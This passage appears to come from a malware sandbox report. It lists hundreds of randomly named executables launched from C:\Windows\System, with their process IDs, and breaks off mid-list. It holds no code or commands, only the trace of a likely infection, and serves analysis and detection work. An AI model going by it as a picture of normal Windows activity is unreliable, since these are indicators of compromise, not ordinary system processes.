- C:\Windows\System\asFrEDP.exe
  C:\Windows\System\asFrEDP.exe
  2⤵
  PID:7864
- C:\Windows\System\eNOZIWW.exe
  C:\Windows\System\eNOZIWW.exe
  2⤵
  PID:7632
- C:\Windows\System\AJDPUFe.exe
  C:\Windows\System\AJDPUFe.exe
  2⤵
  PID:7944
- C:\Windows\System\KCpHXlk.exe
  C:\Windows\System\KCpHXlk.exe
  2⤵
  PID:7948
- C:\Windows\System\HAXDRLq.exe
  C:\Windows\System\HAXDRLq.exe
  2⤵
  PID:7340
- C:\Windows\System\AQFwYKx.exe
  C:\Windows\System\AQFwYKx.exe
  2⤵
  PID:8112
- C:\Windows\System\OFUBbdz.exe
  C:\Windows\System\OFUBbdz.exe
  2⤵
  PID:8328
- C:\Windows\System\HhZXLcu.exe
  C:\Windows\System\HhZXLcu.exe
  2⤵
  PID:8360
- C:\Windows\System\DFaDLpY.exe
  C:\Windows\System\DFaDLpY.exe
  2⤵
  PID:5308
- C:\Windows\System\KUoAnFh.exe
  C:\Windows\System\KUoAnFh.exe
  2⤵
  PID:8488
- C:\Windows\System\CARTZKZ.exe
  C:\Windows\System\CARTZKZ.exe
  2⤵
  PID:8524
- C:\Windows\System\hLUaWje.exe
  C:\Windows\System\hLUaWje.exe
  2⤵
  PID:6512
- C:\Windows\System\SdDhEya.exe
  C:\Windows\System\SdDhEya.exe
  2⤵
  PID:8624
- C:\Windows\System\ccjjxRE.exe
  C:\Windows\System\ccjjxRE.exe
  2⤵
  PID:8680
- C:\Windows\System\JsfMpxi.exe
  C:\Windows\System\JsfMpxi.exe
  2⤵
  PID:6784
- C:\Windows\System\PnACWdg.exe
  C:\Windows\System\PnACWdg.exe
  2⤵
  PID:6360
- C:\Windows\System\fnUITWh.exe
  C:\Windows\System\fnUITWh.exe
  2⤵
  PID:6944
- C:\Windows\System\oUfnmih.exe
  C:\Windows\System\oUfnmih.exe
  2⤵
  PID:8836
- C:\Windows\System\YuxpXBr.exe
  C:\Windows\System\YuxpXBr.exe
  2⤵
  PID:9240
- C:\Windows\System\TjBKhaJ.exe
  C:\Windows\System\TjBKhaJ.exe
  2⤵
  PID:9280
- C:\Windows\System\zhCppxU.exe
  C:\Windows\System\zhCppxU.exe
  2⤵
  PID:9304
- C:\Windows\System\iwVkqfy.exe
  C:\Windows\System\iwVkqfy.exe
  2⤵
  PID:9332
- C:\Windows\System\ByLywDY.exe
  C:\Windows\System\ByLywDY.exe
  2⤵
  PID:9352
- C:\Windows\System\snrYkDd.exe
  C:\Windows\System\snrYkDd.exe
  2⤵
  PID:9372
- C:\Windows\System\aZhTtVV.exe
  C:\Windows\System\aZhTtVV.exe
  2⤵
  PID:9400
- C:\Windows\System\FNGVuBM.exe
  C:\Windows\System\FNGVuBM.exe
  2⤵
  PID:9424
- C:\Windows\System\SOYYDUL.exe
  C:\Windows\System\SOYYDUL.exe
  2⤵
  PID:9452
- C:\Windows\System\mycbKsn.exe
  C:\Windows\System\mycbKsn.exe
  2⤵
  PID:9480
- C:\Windows\System\BIbSTUq.exe
  C:\Windows\System\BIbSTUq.exe
  2⤵
  PID:9512
- C:\Windows\System\paMuLsQ.exe
  C:\Windows\System\paMuLsQ.exe
  2⤵
  PID:9544
- C:\Windows\System\MUiZCgV.exe
  C:\Windows\System\MUiZCgV.exe
  2⤵
  PID:9560
- C:\Windows\System\qUrlCQL.exe
  C:\Windows\System\qUrlCQL.exe
  2⤵
  PID:9576
- C:\Windows\System\dJYEcxh.exe
  C:\Windows\System\dJYEcxh.exe
  2⤵
  PID:9592
- C:\Windows\System\uoropag.exe
  C:\Windows\System\uoropag.exe
  2⤵
  PID:9608
- C:\Windows\System\LMeeAjD.exe
  C:\Windows\System\LMeeAjD.exe
  2⤵
  PID:9624
- C:\Windows\System\zSeDqKP.exe
  C:\Windows\System\zSeDqKP.exe
  2⤵
  PID:9656
- C:\Windows\System\TzFNNQP.exe
  C:\Windows\System\TzFNNQP.exe
  2⤵
  PID:9672
- C:\Windows\System\SmGwkfD.exe
  C:\Windows\System\SmGwkfD.exe
  2⤵
  PID:9704
- C:\Windows\System\veFdiDg.exe
  C:\Windows\System\veFdiDg.exe
  2⤵
  PID:9724
- C:\Windows\System\lYkGqFt.exe
  C:\Windows\System\lYkGqFt.exe
  2⤵
  PID:9744
- C:\Windows\System\GxRqRbR.exe
  C:\Windows\System\GxRqRbR.exe
  2⤵
  PID:9772
- C:\Windows\System\tQgwGND.exe
  C:\Windows\System\tQgwGND.exe
  2⤵
  PID:9804
- C:\Windows\System\DNqQgsx.exe
  C:\Windows\System\DNqQgsx.exe
  2⤵
  PID:9832
- C:\Windows\System\MTlfSNR.exe
  C:\Windows\System\MTlfSNR.exe
  2⤵
  PID:9852
- C:\Windows\System\DrDhBbY.exe
  C:\Windows\System\DrDhBbY.exe
  2⤵
  PID:9884
- C:\Windows\System\YfciZaD.exe
  C:\Windows\System\YfciZaD.exe
  2⤵
  PID:9904
- C:\Windows\System\STxDLlN.exe
  C:\Windows\System\STxDLlN.exe
  2⤵
  PID:9920
- C:\Windows\System\JinEZjY.exe
  C:\Windows\System\JinEZjY.exe
  2⤵
  PID:9948
- C:\Windows\System\GxIKUCL.exe
  C:\Windows\System\GxIKUCL.exe
  2⤵
  PID:9980
- C:\Windows\System\BwhmibX.exe
  C:\Windows\System\BwhmibX.exe
  2⤵
  PID:10000
- C:\Windows\System\fuGHhst.exe
  C:\Windows\System\fuGHhst.exe
  2⤵
  PID:10016
- C:\Windows\System\OjwGfAT.exe
  C:\Windows\System\OjwGfAT.exe
  2⤵
  PID:10056
- C:\Windows\System\mWDQhgN.exe
  C:\Windows\System\mWDQhgN.exe
  2⤵
  PID:10076
- C:\Windows\System\NqZqZFy.exe
  C:\Windows\System\NqZqZFy.exe
  2⤵
  PID:10120
- C:\Windows\System\HRinywe.exe
  C:\Windows\System\HRinywe.exe
  2⤵
  PID:10152
- C:\Windows\System\hvbxndL.exe
  C:\Windows\System\hvbxndL.exe
  2⤵
  PID:10168
- C:\Windows\System\szXLUJF.exe
  C:\Windows\System\szXLUJF.exe
  2⤵
  PID:10200
- C:\Windows\System\HFiJACT.exe
  C:\Windows\System\HFiJACT.exe
  2⤵
  PID:10224
- C:\Windows\System\wLwqAPm.exe
  C:\Windows\System\wLwqAPm.exe
  2⤵
  PID:8872
- C:\Windows\System\EBsnyZo.exe
  C:\Windows\System\EBsnyZo.exe
  2⤵
  PID:7064
- C:\Windows\System\YDwIbbr.exe
  C:\Windows\System\YDwIbbr.exe
  2⤵
  PID:8012
- C:\Windows\System\mXTtALO.exe
  C:\Windows\System\mXTtALO.exe
  2⤵
  PID:9008
- C:\Windows\System\ameLbEA.exe
  C:\Windows\System\ameLbEA.exe
  2⤵
  PID:9032
- C:\Windows\System\dllaIFy.exe
  C:\Windows\System\dllaIFy.exe
  2⤵
  PID:7304
- C:\Windows\System\bguEFLI.exe
  C:\Windows\System\bguEFLI.exe
  2⤵
  PID:10852
- C:\Windows\System\HIlCGny.exe
  C:\Windows\System\HIlCGny.exe
  2⤵
  PID:10872
- C:\Windows\System\UoQxNid.exe
  C:\Windows\System\UoQxNid.exe
  2⤵
  PID:10908
- C:\Windows\System\NkyANmf.exe
  C:\Windows\System\NkyANmf.exe
  2⤵
  PID:10924
- C:\Windows\System\IkrlIDA.exe
  C:\Windows\System\IkrlIDA.exe
  2⤵
  PID:10952
- C:\Windows\System\dMErpVZ.exe
  C:\Windows\System\dMErpVZ.exe
  2⤵
  PID:10972
- C:\Windows\System\qSUamtv.exe
  C:\Windows\System\qSUamtv.exe
  2⤵
  PID:11000
- C:\Windows\System\pKsDNBP.exe
  C:\Windows\System\pKsDNBP.exe
  2⤵
  PID:11016
- C:\Windows\System\dREEOls.exe
  C:\Windows\System\dREEOls.exe
  2⤵
  PID:11036
- C:\Windows\System\LTVGSKn.exe
  C:\Windows\System\LTVGSKn.exe
  2⤵
  PID:11052
- C:\Windows\System\pJxEfuG.exe
  C:\Windows\System\pJxEfuG.exe
  2⤵
  PID:11072
- C:\Windows\System\qRdqLyG.exe
  C:\Windows\System\qRdqLyG.exe
  2⤵
  PID:11100
- C:\Windows\System\edMbyQN.exe
  C:\Windows\System\edMbyQN.exe
  2⤵
  PID:11132
- C:\Windows\System\ddhObWf.exe
  C:\Windows\System\ddhObWf.exe
  2⤵
  PID:11152
- C:\Windows\System\hwaCaEU.exe
  C:\Windows\System\hwaCaEU.exe
  2⤵
  PID:11180
- C:\Windows\System\KFdSSjJ.exe
  C:\Windows\System\KFdSSjJ.exe
  2⤵
  PID:11196
- C:\Windows\System\DkuYSzF.exe
  C:\Windows\System\DkuYSzF.exe
  2⤵
  PID:11220
- C:\Windows\System\ZfOHios.exe
  C:\Windows\System\ZfOHios.exe
  2⤵
  PID:11240
- C:\Windows\System\OwsaxaT.exe
  C:\Windows\System\OwsaxaT.exe
  2⤵
  PID:9964
- C:\Windows\System\yAkVsTD.exe
  C:\Windows\System\yAkVsTD.exe
  2⤵
  PID:8516
- C:\Windows\System\PUjGJwX.exe
  C:\Windows\System\PUjGJwX.exe
  2⤵
  PID:8540
- C:\Windows\System\gixAeFZ.exe
  C:\Windows\System\gixAeFZ.exe
  2⤵
  PID:10012
- C:\Windows\System\PFSNIlx.exe
  C:\Windows\System\PFSNIlx.exe
  2⤵
  PID:8600
- C:\Windows\System\NFmjTVD.exe
  C:\Windows\System\NFmjTVD.exe
  2⤵
  PID:10148
- C:\Windows\System\VenUQHh.exe
  C:\Windows\System\VenUQHh.exe
  2⤵
  PID:10192
- C:\Windows\System\qrHVPBr.exe
  C:\Windows\System\qrHVPBr.exe
  2⤵
  PID:8896
- C:\Windows\System\VuRqXEA.exe
  C:\Windows\System\VuRqXEA.exe
  2⤵
  PID:8752
- C:\Windows\System\vxNqWIJ.exe
  C:\Windows\System\vxNqWIJ.exe
  2⤵
  PID:8812
- C:\Windows\System\HcPjeIK.exe
  C:\Windows\System\HcPjeIK.exe
  2⤵
  PID:8856
- C:\Windows\System\VUizfXm.exe
  C:\Windows\System\VUizfXm.exe
  2⤵
  PID:9328
- C:\Windows\System\tRWceAH.exe
  C:\Windows\System\tRWceAH.exe
  2⤵
  PID:8952
- C:\Windows\System\YcEtwAX.exe
  C:\Windows\System\YcEtwAX.exe
  2⤵
  PID:7444
- C:\Windows\System\fzsurxC.exe
  C:\Windows\System\fzsurxC.exe
  2⤵
  PID:9588
- C:\Windows\System\ZpgJieQ.exe
  C:\Windows\System\ZpgJieQ.exe
  2⤵
  PID:6256
- C:\Windows\System\fDAnPux.exe
  C:\Windows\System\fDAnPux.exe
  2⤵
  PID:9288
- C:\Windows\System\yjjyQFQ.exe
  C:\Windows\System\yjjyQFQ.exe
  2⤵
  PID:9168
- C:\Windows\System\uguHSRI.exe
  C:\Windows\System\uguHSRI.exe
  2⤵
  PID:9380
- C:\Windows\System\ykkodCX.exe
  C:\Windows\System\ykkodCX.exe
  2⤵
  PID:6404
- C:\Windows\System\VNjeAFs.exe
  C:\Windows\System\VNjeAFs.exe
  2⤵
  PID:9668
- C:\Windows\System\qEPzUWr.exe
  C:\Windows\System\qEPzUWr.exe
  2⤵
  PID:6980
- C:\Windows\System\EobCqon.exe
  C:\Windows\System\EobCqon.exe
  2⤵
  PID:6340
- C:\Windows\System\auDECvq.exe
  C:\Windows\System\auDECvq.exe
  2⤵
  PID:9912
- C:\Windows\System\BZOStNr.exe
  C:\Windows\System\BZOStNr.exe
  2⤵
  PID:7648
- C:\Windows\System\MTczOjA.exe
  C:\Windows\System\MTczOjA.exe
  2⤵
  PID:10380
- C:\Windows\System\SCsYfKr.exe
  C:\Windows\System\SCsYfKr.exe
  2⤵
  PID:10092
- C:\Windows\System\edvpFYx.exe
  C:\Windows\System\edvpFYx.exe
  2⤵
  PID:8180
- C:\Windows\System\fLkPZJd.exe
  C:\Windows\System\fLkPZJd.exe
  2⤵
  PID:10456
- C:\Windows\System\FFOvXXg.exe
  C:\Windows\System\FFOvXXg.exe
  2⤵
  PID:7556
- C:\Windows\System\tshrSWf.exe
  C:\Windows\System\tshrSWf.exe
  2⤵
  PID:10492
- C:\Windows\System\gZHyFIR.exe
  C:\Windows\System\gZHyFIR.exe
  2⤵
  PID:10504
- C:\Windows\System\RQurwDL.exe
  C:\Windows\System\RQurwDL.exe
  2⤵
  PID:8864
- C:\Windows\System\NQZAXOq.exe
  C:\Windows\System\NQZAXOq.exe
  2⤵
  PID:10556
- C:\Windows\System\WbmlSlK.exe
  C:\Windows\System\WbmlSlK.exe
  2⤵
  PID:6996
- C:\Windows\System\yTATNXu.exe
  C:\Windows\System\yTATNXu.exe
  2⤵
  PID:6556
- C:\Windows\System\zuvWJYz.exe
  C:\Windows\System\zuvWJYz.exe
  2⤵
  PID:8008
- C:\Windows\System\YMtxlXG.exe
  C:\Windows\System\YMtxlXG.exe
  2⤵
  PID:8648
- C:\Windows\System\nrGfMPG.exe
  C:\Windows\System\nrGfMPG.exe
  2⤵
  PID:9232
- C:\Windows\System\DKjHyrP.exe
  C:\Windows\System\DKjHyrP.exe
  2⤵
  PID:10672
- C:\Windows\System\mZxmReI.exe
  C:\Windows\System\mZxmReI.exe
  2⤵
  PID:9384
- C:\Windows\System\nBEaZjp.exe
  C:\Windows\System\nBEaZjp.exe
  2⤵
  PID:7088
- C:\Windows\System\Finvben.exe
  C:\Windows\System\Finvben.exe
  2⤵
  PID:9492
- C:\Windows\System\PCrQWra.exe
  C:\Windows\System\PCrQWra.exe
  2⤵
  PID:9604
- C:\Windows\System\UDeAUhY.exe
  C:\Windows\System\UDeAUhY.exe
  2⤵
  PID:9636
- C:\Windows\System\YCDCEDo.exe
  C:\Windows\System\YCDCEDo.exe
  2⤵
  PID:11272
- C:\Windows\System\nxZOTKt.exe
  C:\Windows\System\nxZOTKt.exe
  2⤵
  PID:11292
- C:\Windows\System\oPJYaCd.exe
  C:\Windows\System\oPJYaCd.exe
  2⤵
  PID:11308
- C:\Windows\System\ivQVfje.exe
  C:\Windows\System\ivQVfje.exe
  2⤵
  PID:11336
- C:\Windows\System\kZvKYuq.exe
  C:\Windows\System\kZvKYuq.exe
  2⤵
  PID:11356
- C:\Windows\System\UuCDQJT.exe
  C:\Windows\System\UuCDQJT.exe
  2⤵
  PID:11380
- C:\Windows\System\kkqgizm.exe
  C:\Windows\System\kkqgizm.exe
  2⤵
  PID:11396
- C:\Windows\System\XPpQQGj.exe
  C:\Windows\System\XPpQQGj.exe
  2⤵
  PID:11428
- C:\Windows\System\EObZDmq.exe
  C:\Windows\System\EObZDmq.exe
  2⤵
  PID:11444
- C:\Windows\System\fYuCUic.exe
  C:\Windows\System\fYuCUic.exe
  2⤵
  PID:11464
- C:\Windows\System\BRQcUUP.exe
  C:\Windows\System\BRQcUUP.exe
  2⤵
  PID:11484
- C:\Windows\System\KENPozd.exe
  C:\Windows\System\KENPozd.exe
  2⤵
  PID:11504
- C:\Windows\System\cEzPCfw.exe
  C:\Windows\System\cEzPCfw.exe
  2⤵
  PID:11532
- C:\Windows\System\HSVMYHN.exe
  C:\Windows\System\HSVMYHN.exe
  2⤵
  PID:11552
- C:\Windows\System\njTBlyC.exe
  C:\Windows\System\njTBlyC.exe
  2⤵
  PID:11572
- C:\Windows\System\eotJdJq.exe
  C:\Windows\System\eotJdJq.exe
  2⤵
  PID:11620
- C:\Windows\System\KNNNGJM.exe
  C:\Windows\System\KNNNGJM.exe
  2⤵
  PID:11640
- C:\Windows\System\fYNRuOM.exe
  C:\Windows\System\fYNRuOM.exe
  2⤵
  PID:11676
- C:\Windows\System\eifcBHx.exe
  C:\Windows\System\eifcBHx.exe
  2⤵
  PID:11700
- C:\Windows\System\FLWBGDj.exe
  C:\Windows\System\FLWBGDj.exe
  2⤵
  PID:11720
- C:\Windows\System\gLtpRhX.exe
  C:\Windows\System\gLtpRhX.exe
  2⤵
  PID:11748
- C:\Windows\System\otkidfi.exe
  C:\Windows\System\otkidfi.exe
  2⤵
  PID:11768
- C:\Windows\System\PVvvCSB.exe
  C:\Windows\System\PVvvCSB.exe
  2⤵
  PID:11784
- C:\Windows\System\topkyha.exe
  C:\Windows\System\topkyha.exe
  2⤵
  PID:11804
- C:\Windows\System\LUfhCKf.exe
  C:\Windows\System\LUfhCKf.exe
  2⤵
  PID:11828
- C:\Windows\System\kuvWNtd.exe
  C:\Windows\System\kuvWNtd.exe
  2⤵
  PID:11852
- C:\Windows\System\uHVKaIl.exe
  C:\Windows\System\uHVKaIl.exe
  2⤵
  PID:11872
- C:\Windows\System\zzJXcfy.exe
  C:\Windows\System\zzJXcfy.exe
  2⤵
  PID:11896
- C:\Windows\System\YTUeslO.exe
  C:\Windows\System\YTUeslO.exe
  2⤵
  PID:11912
- C:\Windows\System\jlnPpXX.exe
  C:\Windows\System\jlnPpXX.exe
  2⤵
  PID:11928
- C:\Windows\System\cgrRHJI.exe
  C:\Windows\System\cgrRHJI.exe
  2⤵
  PID:11952
- C:\Windows\System\iWrfQDk.exe
  C:\Windows\System\iWrfQDk.exe
  2⤵
  PID:11968
- C:\Windows\System\AWnpXAV.exe
  C:\Windows\System\AWnpXAV.exe
  2⤵
  PID:11988
- C:\Windows\System\KRFgJKa.exe
  C:\Windows\System\KRFgJKa.exe
  2⤵
  PID:12020
- C:\Windows\System\JCTLtQe.exe
  C:\Windows\System\JCTLtQe.exe
  2⤵
  PID:12036
- C:\Windows\System\OkOfvNk.exe
  C:\Windows\System\OkOfvNk.exe
  2⤵
  PID:12068
- C:\Windows\System\BYdWhZk.exe
  C:\Windows\System\BYdWhZk.exe
  2⤵
  PID:12088
- C:\Windows\System\vKCIgRy.exe
  C:\Windows\System\vKCIgRy.exe
  2⤵
  PID:12120
- C:\Windows\System\wsuSzAZ.exe
  C:\Windows\System\wsuSzAZ.exe
  2⤵
  PID:12156
- C:\Windows\System\jYDtBCE.exe
  C:\Windows\System\jYDtBCE.exe
  2⤵
  PID:12176
- C:\Windows\System\AKVaGGq.exe
  C:\Windows\System\AKVaGGq.exe
  2⤵
  PID:12192
- C:\Windows\System\WfSecGI.exe
  C:\Windows\System\WfSecGI.exe
  2⤵
  PID:12228
- C:\Windows\System\MkSYUyU.exe
  C:\Windows\System\MkSYUyU.exe
  2⤵
  PID:12248
- C:\Windows\System\tLNTPNf.exe
  C:\Windows\System\tLNTPNf.exe
  2⤵
  PID:12264
- C:\Windows\System\PXdYguq.exe
  C:\Windows\System\PXdYguq.exe
  2⤵
  PID:9700
- C:\Windows\System\qpMCRYw.exe
  C:\Windows\System\qpMCRYw.exe
  2⤵
  PID:10920
- C:\Windows\System\mQmWdmf.exe
  C:\Windows\System\mQmWdmf.exe
  2⤵
  PID:9152
- C:\Windows\System\nvokFjc.exe
  C:\Windows\System\nvokFjc.exe
  2⤵
  PID:10968
- C:\Windows\System\rqzuOry.exe
  C:\Windows\System\rqzuOry.exe
  2⤵
  PID:11064
- C:\Windows\System\vyGYygh.exe
  C:\Windows\System\vyGYygh.exe
  2⤵
  PID:11084
- C:\Windows\System\rdOHiSn.exe
  C:\Windows\System\rdOHiSn.exe
  2⤵
  PID:11144
- C:\Windows\System\WwOpQOT.exe
  C:\Windows\System\WwOpQOT.exe
  2⤵
  PID:10300
- C:\Windows\System\LPmCiJk.exe
  C:\Windows\System\LPmCiJk.exe
  2⤵
  PID:11216
- C:\Windows\System\tYEQsJM.exe
  C:\Windows\System\tYEQsJM.exe
  2⤵
  PID:7232
- C:\Windows\System\YhKXtkH.exe
  C:\Windows\System\YhKXtkH.exe
  2⤵
  PID:10028
- C:\Windows\System\YOJyqrU.exe
  C:\Windows\System\YOJyqrU.exe
  2⤵
  PID:10108
- C:\Windows\System\temAcQS.exe
  C:\Windows\System\temAcQS.exe
  2⤵
  PID:8660
- C:\Windows\System\vGirayj.exe
  C:\Windows\System\vGirayj.exe
  2⤵
  PID:10588
- C:\Windows\System\cjmyOav.exe
  C:\Windows\System\cjmyOav.exe
  2⤵
  PID:6468
- C:\Windows\System\fdZYRZi.exe
  C:\Windows\System\fdZYRZi.exe
  2⤵
  PID:400
- C:\Windows\System\bFxOiPi.exe
  C:\Windows\System\bFxOiPi.exe
  2⤵
  PID:9188
- C:\Windows\System\oyuAqyC.exe
  C:\Windows\System\oyuAqyC.exe
  2⤵
  PID:8292
- C:\Windows\System\HCaStXX.exe
  C:\Windows\System\HCaStXX.exe
  2⤵
  PID:10620
- C:\Windows\System\lMgVDMD.exe
  C:\Windows\System\lMgVDMD.exe
  2⤵
  PID:7572
- C:\Windows\System\NoZJsAk.exe
  C:\Windows\System\NoZJsAk.exe
  2⤵
  PID:10844
- C:\Windows\System\QZgwIGQ.exe
  C:\Windows\System\QZgwIGQ.exe
  2⤵
  PID:11288
- C:\Windows\System\uWvWwHr.exe
  C:\Windows\System\uWvWwHr.exe
  2⤵
  PID:9572
- C:\Windows\System\ehDVooj.exe
  C:\Windows\System\ehDVooj.exe
  2⤵
  PID:11372
- C:\Windows\System\wRCEOfc.exe
  C:\Windows\System\wRCEOfc.exe
  2⤵
  PID:11112
- C:\Windows\System\bJQrbwk.exe
  C:\Windows\System\bJQrbwk.exe
  2⤵
  PID:11424
- C:\Windows\System\GHPAoxk.exe
  C:\Windows\System\GHPAoxk.exe
  2⤵
  PID:11260
- C:\Windows\System\vHYPTNC.exe
  C:\Windows\System\vHYPTNC.exe
  2⤵
  PID:10388
- C:\Windows\System\eSNKtqe.exe
  C:\Windows\System\eSNKtqe.exe
  2⤵
  PID:7372
- C:\Windows\System\ZGGVHhb.exe
  C:\Windows\System\ZGGVHhb.exe
  2⤵
  PID:11628
- C:\Windows\System\OKMAPJH.exe
  C:\Windows\System\OKMAPJH.exe
  2⤵
  PID:10184
- C:\Windows\System\hUrtaXx.exe
  C:\Windows\System\hUrtaXx.exe
  2⤵
  PID:10232
- C:\Windows\System\VZCcolK.exe
  C:\Windows\System\VZCcolK.exe
  2⤵
  PID:11712
- C:\Windows\System\nEkvDlf.exe
  C:\Windows\System\nEkvDlf.exe
  2⤵
  PID:11732
- C:\Windows\System\wHrBour.exe
  C:\Windows\System\wHrBour.exe
  2⤵
  PID:11756
- C:\Windows\System\CkypiLq.exe
  C:\Windows\System\CkypiLq.exe
  2⤵
  PID:9132
- C:\Windows\System\drMGWWU.exe
  C:\Windows\System\drMGWWU.exe
  2⤵
  PID:9192
- C:\Windows\System\oohHxfn.exe
  C:\Windows\System\oohHxfn.exe
  2⤵
  PID:11880
- C:\Windows\System\rghZVJS.exe
  C:\Windows\System\rghZVJS.exe
  2⤵
  PID:12316
- C:\Windows\System\bwPLckV.exe
  C:\Windows\System\bwPLckV.exe
  2⤵
  PID:12352
- C:\Windows\System\GbXBBdD.exe
  C:\Windows\System\GbXBBdD.exe
  2⤵
  PID:12384
- C:\Windows\System\AYfBYxz.exe
  C:\Windows\System\AYfBYxz.exe
  2⤵
  PID:12416
- C:\Windows\System\ZGhIznG.exe
  C:\Windows\System\ZGhIznG.exe
  2⤵
  PID:12440
- C:\Windows\System\zKGoKmx.exe
  C:\Windows\System\zKGoKmx.exe
  2⤵
  PID:12460
- C:\Windows\System\fCwZhAk.exe
  C:\Windows\System\fCwZhAk.exe
  2⤵
  PID:12476
- C:\Windows\System\fhEVMqj.exe
  C:\Windows\System\fhEVMqj.exe
  2⤵
  PID:12516
- C:\Windows\System\DAYjjbK.exe
  C:\Windows\System\DAYjjbK.exe
  2⤵
  PID:12536
- C:\Windows\System\rVAylal.exe
  C:\Windows\System\rVAylal.exe
  2⤵
  PID:12556
- C:\Windows\System\GETWErS.exe
  C:\Windows\System\GETWErS.exe
  2⤵
  PID:12600
- C:\Windows\System\xgFWhCW.exe
  C:\Windows\System\xgFWhCW.exe
  2⤵
  PID:12616
- C:\Windows\System\ANXjTCv.exe
  C:\Windows\System\ANXjTCv.exe
  2⤵
  PID:12632
- C:\Windows\System\IWVDhWc.exe
  C:\Windows\System\IWVDhWc.exe
  2⤵
  PID:12648
- C:\Windows\System\bluThjH.exe
  C:\Windows\System\bluThjH.exe
  2⤵
  PID:12676
- C:\Windows\System\UXTCARl.exe
  C:\Windows\System\UXTCARl.exe
  2⤵
  PID:12708
- C:\Windows\System\EqrJWIA.exe
  C:\Windows\System\EqrJWIA.exe
  2⤵
  PID:12732
- C:\Windows\System\ACLyPDI.exe
  C:\Windows\System\ACLyPDI.exe
  2⤵
  PID:12752
- C:\Windows\System\MwtbUvA.exe
  C:\Windows\System\MwtbUvA.exe
  2⤵
  PID:12780
- C:\Windows\System\WSyHSVN.exe
  C:\Windows\System\WSyHSVN.exe
  2⤵
  PID:12804
- C:\Windows\System\hJuLsaH.exe
  C:\Windows\System\hJuLsaH.exe
  2⤵
  PID:12836
- C:\Windows\System\WqckPLW.exe
  C:\Windows\System\WqckPLW.exe
  2⤵
  PID:12864
- C:\Windows\System\xCXMcuy.exe
  C:\Windows\System\xCXMcuy.exe
  2⤵
  PID:12880
- C:\Windows\System\tpWfZNp.exe
  C:\Windows\System\tpWfZNp.exe
  2⤵
  PID:12908
- C:\Windows\System\NVCiFnR.exe
  C:\Windows\System\NVCiFnR.exe
  2⤵
  PID:12928
- C:\Windows\System\bGneFgT.exe
  C:\Windows\System\bGneFgT.exe
  2⤵
  PID:12960
- C:\Windows\System\rvKddLz.exe
  C:\Windows\System\rvKddLz.exe
  2⤵
  PID:12976
- C:\Windows\System\JLfWgiO.exe
  C:\Windows\System\JLfWgiO.exe
  2⤵
  PID:12992
- C:\Windows\System\XFZyRsb.exe
  C:\Windows\System\XFZyRsb.exe
  2⤵
  PID:13008
- C:\Windows\System\EniqjWO.exe
  C:\Windows\System\EniqjWO.exe
  2⤵
  PID:13024
- C:\Windows\System\fREiAek.exe
  C:\Windows\System\fREiAek.exe
  2⤵
  PID:13040
- C:\Windows\System\qrRekDz.exe
  C:\Windows\System\qrRekDz.exe
  2⤵
  PID:13056
- C:\Windows\System\PhiBKqj.exe
  C:\Windows\System\PhiBKqj.exe
  2⤵
  PID:13072
- C:\Windows\System\UKVLjAP.exe
  C:\Windows\System\UKVLjAP.exe
  2⤵
  PID:13088
- C:\Windows\System\ZWtgKKJ.exe
  C:\Windows\System\ZWtgKKJ.exe
  2⤵
  PID:13104
- C:\Windows\System\RkxGqVj.exe
  C:\Windows\System\RkxGqVj.exe
  2⤵
  PID:13120
- C:\Windows\System\NxoOCdV.exe
  C:\Windows\System\NxoOCdV.exe
  2⤵
  PID:13136
- C:\Windows\System\cGgedfP.exe
  C:\Windows\System\cGgedfP.exe
  2⤵
  PID:13152
- C:\Windows\System\pKaigZY.exe
  C:\Windows\System\pKaigZY.exe
  2⤵
  PID:13168
- C:\Windows\System\CWUsCLk.exe
  C:\Windows\System\CWUsCLk.exe
  2⤵
  PID:13208
- C:\Windows\System\IDFlEPu.exe
  C:\Windows\System\IDFlEPu.exe
  2⤵
  PID:13240
- C:\Windows\System\aXrtuIm.exe
  C:\Windows\System\aXrtuIm.exe
  2⤵
  PID:13272
- C:\Windows\System\aRTOpFa.exe
  C:\Windows\System\aRTOpFa.exe
  2⤵
  PID:13292
- C:\Windows\System\pkoAScZ.exe
  C:\Windows\System\pkoAScZ.exe
  2⤵
  PID:11924
- C:\Windows\System\kNoLTzx.exe
  C:\Windows\System\kNoLTzx.exe
  2⤵
  PID:7800
- C:\Windows\System\DgerlFU.exe
  C:\Windows\System\DgerlFU.exe
  2⤵
  PID:10220
- C:\Windows\System\BwROhRt.exe
  C:\Windows\System\BwROhRt.exe
  2⤵
  PID:10696
- C:\Windows\System\wkZnyDz.exe
  C:\Windows\System\wkZnyDz.exe
  2⤵
  PID:8692
- C:\Windows\System\vbFZYio.exe
  C:\Windows\System\vbFZYio.exe
  2⤵
  PID:12204
- C:\Windows\System\cIeviQi.exe
  C:\Windows\System\cIeviQi.exe
  2⤵
  PID:12260
- C:\Windows\System\bayPKZh.exe
  C:\Windows\System\bayPKZh.exe
  2⤵
  PID:9792
- C:\Windows\System\PiBNbuB.exe
  C:\Windows\System\PiBNbuB.exe
  2⤵
  PID:9940
- C:\Windows\System\lfXyZXb.exe
  C:\Windows\System\lfXyZXb.exe
  2⤵
  PID:11300
- C:\Windows\System\InXqxxs.exe
  C:\Windows\System\InXqxxs.exe
  2⤵
  PID:10988
- C:\Windows\System\OBKpbeW.exe
  C:\Windows\System\OBKpbeW.exe
  2⤵
  PID:9148
- C:\Windows\System\IIiYpmt.exe
  C:\Windows\System\IIiYpmt.exe
  2⤵
  PID:9736
- C:\Windows\System\AzJPlbK.exe
  C:\Windows\System\AzJPlbK.exe
  2⤵
  PID:11148
- C:\Windows\System\OKRpgaW.exe
  C:\Windows\System\OKRpgaW.exe
  2⤵
  PID:11188
- C:\Windows\System\fTqVbhq.exe
  C:\Windows\System\fTqVbhq.exe
  2⤵
  PID:10616
- C:\Windows\System\whHElTF.exe
  C:\Windows\System\whHElTF.exe
  2⤵
  PID:7312
- C:\Windows\System\bJLlqxa.exe
  C:\Windows\System\bJLlqxa.exe
  2⤵
  PID:11544
- C:\Windows\System\PzwdBDq.exe
  C:\Windows\System\PzwdBDq.exe
  2⤵
  PID:8308
- C:\Windows\System\Gjiinfp.exe
  C:\Windows\System\Gjiinfp.exe
  2⤵
  PID:11596
- C:\Windows\System\EUONbls.exe
  C:\Windows\System\EUONbls.exe
  2⤵
  PID:10312
- C:\Windows\System\daLjUXq.exe
  C:\Windows\System\daLjUXq.exe
  2⤵
  PID:13324
- C:\Windows\System\iyfAiIg.exe
  C:\Windows\System\iyfAiIg.exe
  2⤵
  PID:13360
- C:\Windows\System\hqySiry.exe
  C:\Windows\System\hqySiry.exe
  2⤵
  PID:13388
- C:\Windows\System\tcmmYfZ.exe
  C:\Windows\System\tcmmYfZ.exe
